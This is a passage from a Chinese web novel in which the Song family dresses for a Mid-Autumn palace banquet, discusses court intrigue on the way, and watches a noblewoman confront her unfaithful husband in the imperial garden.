宋锦身上新衣服就是典型的云锦,颜色明亮,远了看还会出现浮金一般的碎光。 这衣服是为了她量身定做的,特意修了肩膀腰身裙摆,身线不同的地方料子厚重也不同,穿上尽显隆重,又带着些简练,显露出主人家上好的身架子 宋锦又是哇了一声,眼眸明亮,眉头轻挑,配着一头的珠宝首饰和明红衣服,灿烂明媚的有些晃眼,像是野地里长出来的红牡丹,娇艳又带着些野性,又更像是山间起的野火,热辣得能焚尽一切 苏芳看着装扮好了的宋锦,怔怔的,想到了现在还生死未知的宋商。说实话,亲眼见到过两人的人都不会去怀疑他们的父女身份,他们长得太像了 但又一点儿也不像 若是宋大人,他定不会露出这般灿烂的模样 她下意识开口:“宋小姐端庄点好看些,宫中人多嘴杂,都是些贵人,太打眼了有些不好” 这身衣服是她亲自操手的,她自然知道宋锦穿上肯定会合适,但也没想到能这般合身,让他本是六分的灿烂明艳,直接变成了八分 宋锦正开心着呢,听到这话,她眨了眨眼,转身就跑到那边的柳铁兰面前,开开心心炫耀:“娘,快看我,快看,好不好看” 牛铁兰的衣服要清雅许多,淡紫色的薄裙,一层又一层从浅到深,随着走动裙摆就逐渐盛开的丁香花,配着紫色玉料宝石,让她在淡雅中又多了些矜贵,还有丝丝冷意和不可攀,就像是竹林间突然长出了一颗紫色玉竹,清雅又华贵 不过当宋锦这颗金灿灿的金笋子一过来,轮谁都会移开目光 看着这金疙瘩一样的崽,牛铁兰下意识露出了一个大大的笑容,然后捂着脸,挥了挥手,故作嫌弃道:“谁家的孩子啊,快把我眼睛闪坏了” 宋锦嘿嘿一笑,过去抱着她的胳膊,喜滋滋:“是你家的呀,娘你今天可真好看,是全天下最最最好看的” 自从那日喝了那奇怪的药之后,牛铁兰气色一日比一日好,虽然依旧清瘦柔弱,却也不再有以往的病弱之相,她扬起笑容,拍了拍宋锦的手 “行了,站好别闹了,小心衣服弄皱了” 宋锦这才站了起来,张着胳膊任由牛铁兰打量,脸上的笑容灿烂得晃眼睛 牛铁兰觉得好笑,又有些感慨 到底还只是个十五岁的小姑娘呢 她笑:“好看,我们金金啊,是全天下最漂亮的姑娘” 宋锦满意了,又想往牛铁兰身上靠,不过被挡了回来拦住了。她这才好好站着看向那边的苏芳,笑道:“苏主事,还有什么要弄的没?没有我们就出门了” 苏芳勉强笑了笑,道:“还有这个” 她指的是一个纯黄金打造的脖饰,上面镶着一颗红宝石,挂在脖子下,刚好垂在领口处,一看就不便宜 宋锦眨了眨眼,晃着她娘的手:“娘,你来给我带” 牛铁兰有些嫌弃,还是挡不住这个攻势,走过去拿起那最少两斤重的金饰:“多大的人了,一天天就知道撒娇,腰弯着点,够不到” 宋锦咧着白牙笑着,乖乖地弯下腰,由着牛铁兰给她挂,然后就听到她压着声音警告:“你给我仔细点,弄坏了只有把你卖了赔” 宋锦瘪嘴:“娘你变了,你都不关心我戴这么重的累不累” 牛铁兰只是呵呵一笑,一点儿也不心疼人的 她身上的各种配饰衣物加起来得有个十来二十斤,确实很重,但是她刚练武那会儿,身上挂个四五十斤在脚上也没见她走不动,别说这点重量了 牛铁兰才不心疼她咧 …… 在母女俩还在精心收拾的时候,宋家的兄弟三个早就收拾好站在隔壁院子里等待了 他们不是女眷,并不需要做多复杂的发型,也不需要准备太多配饰,头戴玉冠,腰带玉佩,已然够了。当然,若是宋行之那个花蝴蝶在的话,从头到脚都给整出些乱七八糟的 他们三个没兴趣弄这些 因着是收养的,三个人长相可以说没有半点相似,身形差距也大,但此刻,他们穿 着同样的锦红衣服,站在一起,轮谁也得说是三兄弟 红色,是宋商最常穿的颜色 这个园子,也是宋商的院子 宋顺之和宋安之看着那盛开的花和飘落的叶,心情都说不出的难受 一个多月了,还是没有半点消息 倒是宋清之,注意力全落在身上的红衣服上了,这还是他第一次穿红色的,怎么看怎么觉得有些古怪 他们兄弟几个都不怎么喜欢红色,但宋顺之和宋安之还好,他们日日穿的官服便是暗红色的 宋清之又理了理衣服,还是怎么看怎么不舒服,他纳闷:“穿这身,我总感觉在做新郎官” 三个人的衣服料子颜色都一样,但细节和绣纹大不相同 宋安之最为精致娇柔,绣文是大片山杜鹃,配着他那张貌似好女的脸,还真是娇丽如花。 但是,谁让绣花的,谁让的? 还不是面前这个出钱的人 他似笑非笑地看着宋清之:“老五啊,就你这个头,顶多算是新郎官旁边的金童,想当新郎还早了点” 宋清之年纪小还没长定,甚至比宋锦还矮些,就别说其他的哥哥来 宋清之呵呵一笑,直接挑衅:“那也比老四你好,别到时候成婚的时候抢了新娘子的风头,到时候进不了洞房,别怪我没提醒” 宋安之微笑:“放心,到时候有你帮我们滚新床,肯定没问题的” 宋清之回:“新娘子的新?” …… 兄弟俩就这样又吵了起来 宋顺之习以为常,并且绝不掺和进去,他全程就当自己不存在一般,一言不发,只是静静地看着对面的花草,目光偶尔往另一边的小门处看看,等待着那边的人影出现 一直到酉时的更声想起,伴随着嬉笑的说话声,纷杂的脚步声从那边传来 宋顺之再次看了过去,而宋安之和宋清之也停止了斗嘴,三个人站在原地看着那边,一直到此番进宫真正的主角出现 他们眼睛都被晃了一下,里面是藏不住的惊艳 一个灼灼其华,艳丽夺目 一个袅袅娉娉,冷然矜贵 宋清之揉了揉那双绿眼睛,深深感慨:“钱没白花” 母女俩这一身装扮进宫参宴,谁胆敢提一句乡下说一句穷酸,他都得让他们照照镜子先看看自己那破烂样 对于这话,宋顺之和宋安之也难得默契赞成 他们爹现在不在,母女俩今日第一次正式亮相,那必须有多隆重就多隆重,隆重得让人没脸多提一句 价值千金的云鲛、永夜不熄的夜明珠、北漠西域难得的珠宝冰玉…… 家里多年的库存,总算是有用武之地了 兄弟三看着徐徐过来的母女,默契迈步朝着她们走去 三个人正是最风华正茂的时候,一个个神采英拔、意气风发,就是一袭红衣,金玉镶冠,玉佩泠泠,也各有各的风采 就是 “你们是不是排挤我娘?” 宋锦一下子垮了脸,眯着眼看着他们身上的红衣,眼露危险之意 牛铁兰:…… 兄弟三人:…… 第56章 皇家隐秘 六马车架在路缓缓前行,即便街道十分宽敞,路上行人摊子小贩也纷纷靠到避让,生怕冲撞了车内贵人 今夜是中秋,也是一年到头最多贵人出行的时节之一 宋锦掀开车帘看,看着外面路上挂满的街灯,眼中隐有兴奋,她回过脑袋,头上珠钗叮当:“娘,等晚宴回来,我们去逛灯会吧” 牛铁兰端坐在一边,瞥着她那厚重的衣服和一脑袋的珠宝,凉凉:“我看你是嫌外面的扒手日子太穷了,你不累我还累” 在泗安县的时候,母女俩每年也会去看灯会,但那时候可没这么多不怀好意的人,去也就去了,现在人生地不熟,她去了也得被全程看护,没意思 而且等宫宴结束也晚了,她可没这个精力 牛铁兰:“到时候拆了珠钗自己去玩,现在给我坐正了,别把头发弄乱” 宋锦哦了一声,老老实实坐直了身子,远离窗边,坐得端端正正 这两日的训练还是有些用 六驾车马宽阔,里面除了她们母女以外,宋家三兄弟也在。宋顺之坐左面,宋清之和宋安之坐在右边,三个人都坐得开开的,免得到时候又被宋锦说他们排挤人 他们哪儿有这么想啊 以往参与宫宴都是宋商这一家之主带头,现在他生死未明,他们也不能堕了风头,便打算以他往日的模样参加,让其他人知道 不管爹在不在,他们宋家都不会变 而红色就是宋商最喜欢的颜色 至于宋锦和牛铁兰的装扮都交给苏芳来负责,说的怎么好看怎么贵重怎么来,哪想到就这么巧了 虽然已经解释了,但宋锦还是看他们不顺眼 兄弟三只能坐得远远的,并且尽量避开眼神交流。没办法,家里就这么一个妹妹,还是宋商二号,他们能躲就躲了 眼看马车都行了一半,兄弟三还是一言不发 牛铁兰开口:“晚宴人多,除了那英国公府,我们还需要注意哪些人?” 三兄弟抬头,互相看了看,最后这个任务还是落到了宋顺之这个老二脑袋上 哥哥就是这种时候用的 宋顺之缓缓:“总的来说,夫人在晚宴上不要相信任何人,便是有丫鬟太监说陛下后妃找您也别信,手中的吃食过了眼就别吃了” 前面这个她能理解,毕竟皇宫这么大,晚上又昏暗,很容易出事。但是吃食,就有些夸张了吧? 牛铁兰蹙眉:“这是宫殿,还能下毒不成?” 宋顺之斟酌着,依旧不知道该如何说 吃过大亏的宋清之无奈开口:“下毒肯定不至于,但是万一有人吐唾沫,或者吃了后拉肚子、发困、脸肿,这些对身体无伤大雅,只会让人失仪,便是查出来,亏也吃了” 他当初就差点拉裤子里,现在想想都惊险 母女俩:…… 朝堂的水深就算了,怎么还这么脏啊 见她们都很无语,宋顺之又安抚:“夫人和小妹也不用太担心,这种情况私宴需要多注意,宫宴一般还是不会。而且今晚宴会男女同席,我和老四老五会多加注意,你们吃东西就好了,宴会上吃的味道不错” 母女俩放心几分,不过也暗暗提醒自己晚宴上得多加注意 她们可不想吃别人的口水咧 宋顺之继续:“至于英国公府,夫人和小妹今日不用担心,他们不会来” 宋锦惊:“哎?为什么?” 不会被她气死了吧?完了,她又得挨她娘揍了 牛铁兰也面带担忧:“那恶婆子被气死了?” 那也不能怪她闺女吧 一旁的宋安之被口水呛了,咔咔咳嗽几声,脸上染着红意,好一个面若桃花,就是笑起来有些豪放,他哈哈大笑,痛快得很 “不至于,他们这么说,本是想逼我们去赔礼,顺便在晚宴上告上一状,好在陛下不吃这套,不对,是体贴,他说老太君既然生病就好好休息,别进宫了,还让他们家小辈留下照顾她。最后除了嫁出去的晋王妃,没一个进宫,这次丢人可丢大发了” 虽没有直接证据,但是他们肯定,这次宋商出事绝对和英国公府有关 宋锦瞪大了眼睛,瞬间就原谅了皇上给她派六个监控器的事,惊呼:“陛下英明啊,这种不讲道理的死老太婆,放进宫了大家都吃不好” 宋安之也觉得痛快,幸灾乐祸:“我也觉得,老太婆仗着老英国公的开国之恩,见谁都想教育一番,烦死了。” “行了,当时陛下攻上永安城的时候,若没有老英国公放城,还不知道会死多少百姓。老太君年纪也大,说什么听着就是”说着,他又对上宋锦的目光,他停顿一下道 “小妹你不一样,你年纪小又不认识人,这次又是老太君先找事,便是对峙宋家也不怕,皇上也站你这边” 宋锦挑挑眉头,给了他个肯定的眼神,慢悠悠道:“你说的有点道理,不过皇上这次不让英国公家的进宫,应该也不是护着我,你们忘了上次英国公府那个癞蛤蟆撞岐王车的事情?” 兄弟三:…… 实不相瞒,这件事不是她干的吗? 不过这么一说,好像也是这么回事 宋顺之组织了一番语言,慢慢道:“陛下只有岐王殿下一名亲子,又走丢多年才找回来,自然要珍视一些” 说起这个宋锦来了兴趣:“他怎么走丢的啊,年纪小的时候不应该在宫里吗?而且,陛下为什么收了那么多皇子……” 齐烨的事怎么想怎么奇怪 这些问题宋顺之早有预料,他不慌不忙,慢条斯理地解释:“这件事说来话长,也算是皇家隐秘,我们自家人说说无事,尽量别往外传” 宋锦小鸡啄米一般点着头 不过她的承诺和放屁差不多,他看向了牛铁兰 牛铁兰点了点头:“二公子放心吧,她要是往外乱说,我打断她的腿” 宋锦:…… 宋顺之点头:“陛下出身于北方大族其家,带人推翻前朝皇室之后就以永安城为国都,齐家便为宗室,将齐三爷和三夫人封为太上皇和太后。但陛下其实并不是齐家人,他生父自小去世,生母一人带着他生活艰难,便走投无路嫁入齐家” 这个嫁是主动还是被动就不好说了 宋锦瞪大眼睛:“竟然这样啊” 宋顺之点头:“大家族事情多,陛下在齐家过得并不算多好,但是,齐家到底养活了他,又在推翻前朝的时候出了大力。所以即便齐家主母逼死他亲母,又强逼他娶了不喜欢的人,将原配由妻变妾,最后害得岐王从小走丢,致使原皇后抑郁而终,他还是既往不咎” 宋锦:…… 听起来就好大一场戏啊 就这,真的可能不计较吗?王八也没这么能忍的吧,更别说是皇上了 宋顺之:“皇上不仅没有怪罪齐家,反而将养父养母奉为太上皇和太后,养于宫内好生照料,还给堂兄弟们封了官职,给他们机会保家卫国,还在他们为国牺牲后收养他们的孩子,将其封为皇子,好生照料” “陛下仁慈、孝顺又大度,有陛下在,大衍朝必定风调雨顺、河清海晏、年年丰收” 宋锦:…… 不愧是当官的,就是会说话 还有这皇帝 嘶,细思,宋锦觉得脖子隐隐发凉,她上次怎么能这么嚣张啊 她就奇怪,宋商作为全国有名的大奸臣,为什么能二十年稳占这个位置,感情是皇上臭味相投,狼狈为奸啊 宋锦忍不住缩了缩脖子,有些气虚道:“陛下确实仁慈” 宋顺之眼中笑意闪过,这话他特意说给宋锦听,就是想让她心里有点敬畏。见她有数了,他又安慰道 “陛下和父亲相识于微末,认识三十余年,感情深厚,你也无需想太多,把他当长辈对待就好。宫中没有公主逗趣,陛下看着你应会开心” 若宋锦身为男子,或许还需要谨慎些,但她只是一介女子,从世俗意义上看她对陛下没有任何威胁 只要她不犯大逆不道之事,不落入外人陷阱,此生无忧 有他这话,宋锦确实放心了几分 毕竟他刚才说的皇帝事迹还是有些吓人,尤其是皇子的事,按照齐铮说的,皇室加上他总共十六个皇子,现在只有十个了,往后还能剩多少个,谁说得准? 他这哪是养皇子啊,这才是养蛊呢 报复心好重的一男人 希望亲儿子齐铮不要遗传这点了 …… 车马一点点驶向宫门 中秋宫宴大家盛装打扮,而现在即便是黄昏时候,天气依旧炎热,一番走动,失了妆容未免不雅,所以此次各家的车马都能进宫 不过因此也更费时间,所有车马在进宫前都要进行严格的检查,就像城门的普通百姓一般,总要过那道门的 宋锦掀开车帘,看着前面排着长队的车马,挠头:“这是把所有官员都请来了?” 宋顺之:“六品以上官员都来,四品以上能带一个家眷,不过这些基本不是。本朝官员俸禄比以往高些,但是供一家子吃穿读书已经不简单了。前面的基本是世家公候,他们祖上有家底,再不行凭空头的爵位也能诓个富裕媳妇儿,再用嫁妆填补日子。” 听到这,宋清之有话说了,他赶紧插嘴道:“说起这事,礼部尚书的闺女就吃了这大亏。当初爹想替老大说她,结果她信了宣平侯世子那什么一生一世一双人,也不想想那人背地里有多少姘头,还不如老大明着风流的好。这也就算了,那女的还傻,把她娘留下的嫁妆都填那窟窿里了……” 这就是古代版的骗婚了,而像这样的例子还不少 宋锦听得津津有味的,一双凤眸都亮了两个度,也不知道听进去没有 宋清之有些郁闷,只得再次强调:“这些世家子都是些风月场合常客,大多金玉其外败絮其中,还喜欢装模作样,靠得住的一只手都数得出来” 宋锦眨眼:“靠得住的有哪些?” 宋清之语塞,他是这个意思吗? 宋锦哈哈一笑,不逗他了,只是好奇:“那你们几个年纪都不小了,怎么都没成婚?有订婚对象吗?” 宋清之不参与这个话题,强调:“我只比你大一岁,离及冠都还有好几年” 宋安之随即:“我年初才及冠,不着急” 这些理由都还算充分,就剩下一个人了 宋顺之艰难狡辩:“我也才及冠五年” 宋锦挑眉:“你是说那个普通人家里过两年都能当爷爷的二十五吗?” 不是,他爹都还没做爷爷呢,他就到这个年纪了? 宋顺之嘴角一抽,叹气:“爹之前定了,本来说的等她十七就成婚,没想到那年她祖父去世,守了半年,母亲又去世了,再守一年后,未来岳父遇到劫匪去世又守一年,后面祖母也没了” 宋锦同情:“好了好了,我懂了,那你是在等她?” 这一家子相继去世,就是很多年后,都有人会在意,更别说现在。而且女方父亲也没了,她便是以前是什么贵女,后面也就是个可怜孤女 宋顺之点头:“大丈夫一言既出,自然不能因为这点事反悔” 此时悔婚,不说道义,还可能逼死一条命 这个道理好懂,但是做到可不简单,宋锦看他的目光多了些赞赏 宋家除了那个花花公子,其他几个还是很不错 说话间,她掀开车帘又往外面看了看,前面依旧长队,看着这个进度,她嘟囔:“这速度可真慢” 宋清之跟着凑过来看看:“最近作乱的人多,检查会仔细一些,这应该也要不了多久,最多两刻钟,不急” 宋锦也不急,就是觉得等待烦人,她探着脑袋继续张望着,但人都在车马里面待着,她也看不出什么,正想放下帘子,注意到前边一辆马车超车过去 她哎了一声:“还能插队?” 宋清之又瞅瞅:“那不能,陛下特意下了令,有专门守着的侍卫,不然那些小官员进不去了。那边的车马应该是晋王的,他们王爷有令牌,无需跟着检查” 宋锦恍然大悟,眼珠子转了转:“那岐王也可以?” 宋清之:“呃,自然可以,但是” 不用但是了,宋锦已经看到了车马,她一下走到马门口,探出大半个身子,清脆喊道:“李青山” 基本沦为马夫的李青山听到这个声音就脑袋疼,他深深叹气,转头对上宋锦格外灿烂的眼,看着他们排队的马车,不用她开口,他已经知道她要说什么了 李青山拉开车帘子:“王爷,宋小姐想搭个车” 齐铮睁开眼,很好,背了一路的课业白背了,他无声叹息:“请他们进来吧” 车马帘拉开 宋锦 那张格外明艳娇丽的脸瞬间出现,她扬着唇,脸上笑容格外灿烂,等到帘子全部拉开,她整个人都展现在眼前,在灿灿的夕阳下,像是一抹炙热的野火,热烈得仿若能燃尽一切 远远的都有些烫人 齐铮垂下了眸 宋锦大摇大摆走了进来,装模作样地行了个礼,眨着眼:“岐王殿下安,这可不是我非要过来的哦” 齐铮眼睫颤了颤,淡淡地嗯了一声 这反应可真没意思,宋锦那点微妙的炫耀心思被压了下去,她撇了撇嘴,转身小心地扶着牛铁兰进车,三兄弟紧随其后 他们:“谢岐王殿下” 齐铮今日穿着明金色衣服,繁杂细密的花纹遍布了整个衣服,乍一看像是符号,仔细一看是各种花草日月,再仔细一看,最明显的胸口一节有些像蛇,又或者说 龙? 宋锦迟疑:“你这身衣服” 齐铮低头看一眼,明灿灿的,他莫名有些不自在了起来,迟疑:“很,奇怪吗?是父皇送过来的” 宋锦哦了一下,给他竖了个大拇指:“一点儿也不奇怪,非常俊,岐王殿下绝对是今日宫宴最靓的崽,啊,娘你掐我干什么?” “好好说话”牛铁兰瞪了她一眼,“岐王殿下别和她一般见识,这丫头从小野惯了,说话没大没小” “无事,夫人无需在意”说着,齐铮觉得有些生硬,顿了一下,补充道,“夫人今日,真是光彩照人” 他这人性子庄肃,不苟言笑,夸奖人也是面无表情的,但是看着反而格外真诚 牛铁兰忍不住笑了笑:“谢殿下夸奖,殿下今日也异常英俊” 齐铮不知该怎么回,他停顿半刻,嗯了一声就没后续了 宋锦微微眯起眼,轻轻晃了晃脑袋,轻哼一声:“就这?” 齐铮看着她不开心的样子,忖度片刻:“谢夫人夸奖” 很好 真是太好了 贼心不死的小子 宋锦压下心中莫名的不悦,把脑袋往后面一靠,眼睛一闭便一个字也不说了。她不说话,其他人更没话说,他们就这样安安静静地一路进了皇宫,到了停车的地方 李青山:“王爷,到了” 不等马车停好,宋锦已经大步下车,过了一会儿帘子拉开,她又走了回来,面无表情目不斜视:“娘,走了” 牛铁兰看了看她,再看看齐铮,眉头紧紧皱了起来,她迟疑地和齐铮道了谢,缓缓离开马车,宋家三兄弟紧跟其后 车厢很快就空荡了下来,齐铮一人坐在其中,一动不动 李青山等了好一会儿都没见到人,他拉开车帘,看到人才松了口气,小心翼翼:“王爷?” 齐铮不解地问道:“她为什么生气?” 李青山愣了一下,恍然:“您是说宋小姐吧,她看着是挺生气的,你们吵架了吗?” 上次两人吵架,害得他带了一篓上好的糖葫芦回去,吃得牙都倒了 这一次…… 他警惕了两分 齐铮就把刚才车里的事说了一遍 李青山嘴角一抽,一言难尽道:“王爷,我觉得,宋小姐的意思是让您也夸夸她” 这下轮到齐铮沉默了 良久,他瞥了李青山一眼,径直离开马车 算了,他问这人干什么 这人要真懂女子,就不会快三十了还是老光棍 李青山:??? 不是,干嘛这种眼神看他啊 第57章 贵女也凶残 晚宴在御花园举行 不是正宫殿里的小御花园,而是后面的园林 这里本是一片街区,在前朝被荒帝下令改为花园,当时抓了全国上千名专门花匠林匠改造,确保了任何一天进来,走到任何地方,都有至少三色的花木 整个御花园从头到脚任何一处都宛如画卷一般,美得不可胜收 今日举办中秋宴会的地方便在其中最美的地方,一排排精美的木桌看似随意,但里外一圈一圈,实则宛如花束一般,绕着最中间湖心的亭子 也是今夜皇上会在的位置 每张桌子桌面上放着精致竹编,里面花朵交叠,从桌面到桌角,再到一路蜿蜒下去。湖心红鱼跃起,带着水花,在空中划起一条弧线,又钻入水中 “那鱼长得好眼熟啊” 宋锦坐在最前面的位置,她抓住溅过来的水花,一双凤眸璀然,有些兴奋:“这里面也太漂亮了,先前受点苦也值了” 牛铁兰端坐在蒲团上,瞥了一眼水面上时不时游着的小鱼,声音凉凉:“能不眼熟吗?你喂的那些猪不就是这个?” 宋锦怔了一下,恍然大悟:“是家里那些鱼啊” 宋清之和她们坐在一起,听到这,也想到家里那圆球一般的鱼了,他嘴角一抽:“这是觅皎鱼,生活在深海里,只在出生后的第一个月圆夜会浮出水面,也只有这时可以捕捉。抓捕后必须在月光下将其入淡水中照月两个时辰,才能确保成活” 宋锦再看这鱼的目光就有些不同了:“这么麻烦啊,有什么用?就因为好看?” 不过这鱼确实好看,远看像火焰一样通红,近看,在阳光下五颜六色,就跟彩虹一样,贵好像也能理解 宋清之一脸神秘道:“觅皎鱼,也叫月光鱼,一会儿你就能看到了” 他说着,宋锦一个凑近,手就往他眼睛戳 宋清之赶紧往后,一脸惊悚,磕磕巴巴:“你,你干什么” 宋锦一脸惊奇:“你眼睛变红了哎” 听到这,宋清之大大松了口气,解释道:“今天夕阳很红,照过来就是这样的,一会儿就正常了” 宋锦恍然,点着脑袋,出其不意地还想戳一戳 宋清之再次惊险躲开,看着宋锦跃跃欲试的模样,他站起身,后退两步:“小妹你和夫人坐着玩,我去转一圈 说着就跟后面有鬼追似的跑了 宋锦笑得趴在桌子上,拿过一边的果干往嘴里扔,一边吃一边还笑:“娘,快吃,这味道真不错,不愧是宫里的” 牛铁兰没好气地给她顺着后背:“别一天天欺负人,坐好了,小心让人看笑话” 宋锦趴在桌子上,侧侧脑袋,就能看到左右空荡荡的位置,她道:“哪有什么人?都在那边躲着呢,啧,装模作样” 牛铁兰揪揪她的腰,警告:“老实点” 宋锦这才老实了下来,她往左右看了看,看这天色,距离中秋晚宴正式开始还要半个时辰,她道:“娘,要不要去逛一会儿?” 她们其实算是来得晚点了,好些人中午就过来了,就为了在这边多逛一下,现在看看确实很有必要 牛铁兰想了想,点头:“去吧” 早晚都要面对,也无所谓这一会儿了 宋锦开心地搀着她起身,还不忘把拎起一盘果盘,一样抓了一点,很有乡下凑热闹的姿态了 牛铁兰瞥了她一眼,想了想还是没说什么 她好歹还是有长进,不直接就着苹果啃了,而是拿莓果葡萄和果干这一类不用剥不用吐籽的东西了 母女俩缓缓起身 躲到一边的宋清之又跑了过来,和她们保持两米距离:“夫人小妹要逛一逛?要不要找个侍女带路?” 宋锦:“不用,就随便走走,这里面的花” 宋清之想到自家花园里遭殃的花草,强调道:“绝对不能摘” 宋锦白眼:“我又不傻” 她们朝着外面走去,越过这边,跨过那边的花门,清灵的笑声不断 提前到女眷大部分都在这边,她们全都是精心打扮了的,一个个穿得花枝招展,争奇斗艳,三五几个站在一起,真就跟花儿一样,争相绽放 随着宋锦她们进来 园里的笑声一道接一道地消失,所有人都看了过来,明着打量、暗着偷窥、惊惧跑开、嗤笑嫌弃…… 乱七八糟的什么都有 宋锦啧了一声,侧头:“娘,要不换一个?” 牛铁兰摇了摇头:“没事,你娘我早就习惯了” 宋锦撇嘴:“娘你又阴阳我呢?” 牛铁兰轻笑:“想多 了,我是明着说的” 自从有了这么个闺女,她早就习惯各种异样的目光了,而且,相比起她们小地方的直白,这些个小姑娘的威慑力约等于零 尤其是她们一个个精心打扮,就跟那花儿似的,一颦一笑都是嗔怒 不影响心情 牛铁兰伸出手,仔细地给自家闺女整理着衣领,又理了理珠钗,嫣然一笑:“走吧,趁着天色还亮,多看看花,宫里的花应该是最多的,看看什么好看,等回去我也种上” 宋锦立马灿烂:“我帮娘种” 牛铁兰:“……这也不用” 宋锦不听,拉着她娘就往里面小步走去,对着里面的花指指点点 母女俩一红一紫,恰如花园中最惹眼名贵的花朵,又似那飞舞的蝴蝶,无所谓其他人在不在 宋清之笑着跟在她们身后,给她们介绍着花园里的花 不客气的说,这里面有大半都是他去寻回来的,他那生意的背后,都说是他爹,但是真正的合伙人,其实是最上面这位 三个人走在花园里,一路上不管男女纷纷退让,就跟他们是什么病源似的 宋锦和牛铁兰就当没看到,走到一朵人脑袋那么大的洁白花束面前站住,那花瓣轻薄宛如羽毛,一层层叠加,仔细看,中间像是人眼一般,带着悲悯之意 宋清之瞥了瞥周边的人,勾起嘴角:“这是西域那边传来的佛教之物,叫千佛花,不过那边一般叫它人头花,专门栽种的人会用人血浇灌,一年年下来呈现大红色” 说着,周边的人再后退几步,脸上也带上的惊惧嫌弃 宋锦没注意,只看着这橙色的花瓣,掰了一片打量:“这颜色不对,也没那个味” 宋清之嘴角一抽:“……自然,用人血未免过于残酷了,模样也诡异,后面养花人用清泉浇灌尝试,就是这般模样” 宋锦恍然:“这个我懂,橘生淮南吃橘子,生淮北吃屁” 宋清之忍笑:“是这个意思,橘生淮南则为橘,生于淮北则为枳①,你没读过书都懂这个,有些人自诩饱读诗书,高人一等,其实也就是装模作样,纸上谈兵” “宋老五你在这里话里有话说谁呢?” 宋锦侧头过去,是一名看着二十出头的年轻姑娘,她有印象,是先前进来最先给她们白眼的人,看她着一身打扮,家里肯定也不简单,不然周围那么多人也不会就她出头了 是有背景,但脑子又不太够的那种 宋清之接下来的话也证明了这点:“哟,这不是礼部尚书之女、宣平侯夫人杨大小姐嘛,您今个还有空过来,这胸怀这气度,在下佩服佩服” 杨彦珺怒:“宋清之你什么意思?我杨彦珺行不更名做不该姓,不是我做的事就不是我做的,我无愧于心,别想污蔑我,今夜中秋,我不想和你吵,给我老实闭嘴” 宋清之悠悠:“这话说的,我说的是宣平侯的事,你想到哪儿了?” 杨彦珺气消了几分,狐疑:“什么意思?别污蔑了我又污蔑侯爷” 宋清之诧异:“侯夫人竟然不知道?” 杨彦珺皱眉:“知道什么?” 宋清之耸肩:“算了,既然您不知道我也不说什么了” 杨彦珺上前抓住宋清之的胳膊,恼:“到底什么意思?快说” 宋清之:“我和您说什么啊,我们又不熟” “给老娘说,好好说了,下月我带你们家这两个”杨彦珺明显有些急了,说着说着,看向了一旁明显看热闹的宋锦和牛铁兰,死死皱眉,再磨牙,勉为其难 “两个女的去迎秋宴” 宋锦牛铁兰:…… 看样子又是个不读书的 宋清之则是有些意外:“你认真的?” 杨彦珺恼:“废话那么多干什么,直接说,要是敢骗我,呵,你家这两个以后都别想了” 见她认真,宋清之也不卖关子了,悠悠道:“宣平侯前些日喜提贵子,我还以为你知道呢,不是都准备满月酒了?这么大事情你个当家主母不知道?” 杨彦珺一颗心沉了下来 她想反驳,但一年年下来她早已没了最开始底气,更别说这段时间相继的事情让她早有些了预料。她没再说话,顿了一下直接转身,就那气势汹汹的模样,一看就是去找茬的 宋锦哇一声,看着她去的方向,问:“那边是” 宋清之耸肩:“男客多的地方,她应该去找宣平侯了吧,哦,对了,这就是那个礼部尚书之女” 宋锦知道,就是那个被骗婚的,不过看宋清之这架势,她悄悄道:“她和那个花蝴蝶的事闹得不好看?” 这看着就不是说亲失败那么简单 宋清之呵呵,低声:“当时婚事都定了” 结果这两人搅和到一起了,他能高兴这人才怪,这些年是能搅浑水就搅浑水 宋锦转过头,母女俩对上眼,里面全是对于八卦的追求,至于美的欣赏什么的,日后再来吧,她拉着牛铁兰就跟了上去 宋清之摇着头跟在后面 几个人就这样陆陆续续离开,其他女眷互相看了看,虽然没听清她们说些什么,但是看杨彦珺那个样子 犹犹豫豫之下 有人跟了上去,陆陆续续的其他人也带着好奇心上前 就这样,一群花儿一般的姑娘家穿着涌入了男客的区域,让黄昏都亮了起来 宋锦她们走在前方,一进来就看到这里面的各位世家公子官员,这些人里没几个条件差的,从小吃好喝好,个头都身板都不差,又都精心打扮了,看起来都过得去眼 不过看得过去和俊美还是很有区别的 宋顺之和宋安之在其中就格外显眼,旁边是晋王那个傻蛋,之前还主动的欺负人,现在被皇上关了紧闭,出来就开始拉拢人了 宋锦轻啧一声,就见到那杨彦珺直接朝着晋王那边走去,在所有人的注视下,她出其不备地一巴掌拍向晋王旁边的男人 啪一声 她们大老远地都听得清清楚楚,可见力道有多大了 宋锦挑眉:“那人就是宣平侯?” 宋清之点头,小声:“宣平侯的亲姑姑是晋王的生母” 所以他们就是穿一条裤子的 宋锦可惜:“姓杨东一看就没练过武,要是我,一巴掌给他脑袋都打掉” 不过杨彦珺也没省力,两个巴掌哐哐下去,她掌心通红,手掌也麻木了,在所有人震惊地目光下,她再狠狠一推人,把人推在地上,扑到人的身上开挠…… 场面非常眼熟 有一瞬间,宋锦还以为自己回到乡下了,感叹:“没想到啊,都城贵女竟也这般凶残” “我们可不这样”就在这时,一袭浅蓝色裙子的女子走了过来,她轻轻瞥了瞥宋锦,神色冷淡,“你们和珺珺说了什么?” 宋锦歪头 宋清之站在旁边低声:“国子监监学之女程思懿,在监学教史学,丈夫是户部司务,公公是永安候” 这么多称号宋锦没一个知道的,不过听起来很厉害的样子,她哦了一声,道:“说她丈夫的私生子要办满月酒了” 程思懿皱起眉头,看向那边不顾形象的好友,叹气:“那就不奇怪了,常文山这人,当初就和她说靠不住了,她不听,现在撞南墙了,也该回头了” 这人看起来又太有文化了,宋锦默默往旁边再挪了一步,瞅着那边毫无形象可言的杨彦珺,出声:“要把她拉回来吗?” 程思懿愣了一下,还是摇了摇头:“无事,由着她吧,这么多年的气也要憋一憋了” 她也不只是不知道自己选错了,只不过回头的代价太大了,她咬着牙也往前走 一年一年,一步一步 杨彦珺手拿着长簪喝退想拉她的人:“来,都来啦,我倒是看看有谁碰了我,我到时候和离了就嫁给谁。反正我是二嫁,无所谓正室不正室了,我不介意” 她不介意,他们介意啊 周围的男子别说拦她了,一个跑得比一个院,尤其是晋王,生怕被她给缠上 杨彦珺她娘以前救过原皇后,有这层关系在, 皇上很给她面子的 当初她和宋行之订好了婚,开始准备婚礼了,她悔婚改嫁宣平侯。就这般,皇上都替她赐婚,保了颜面,现在想当个侧室 那必须跑远一点 晋王看着这混乱场面,脑袋都大了,他前些天才因为被父皇禁足,好不容易能参与宴会,能找机会添补一下让父皇看到。现在这闹闹哄哄的,他恨不得原地消失,但是宣平侯是他亲表哥,不能不管 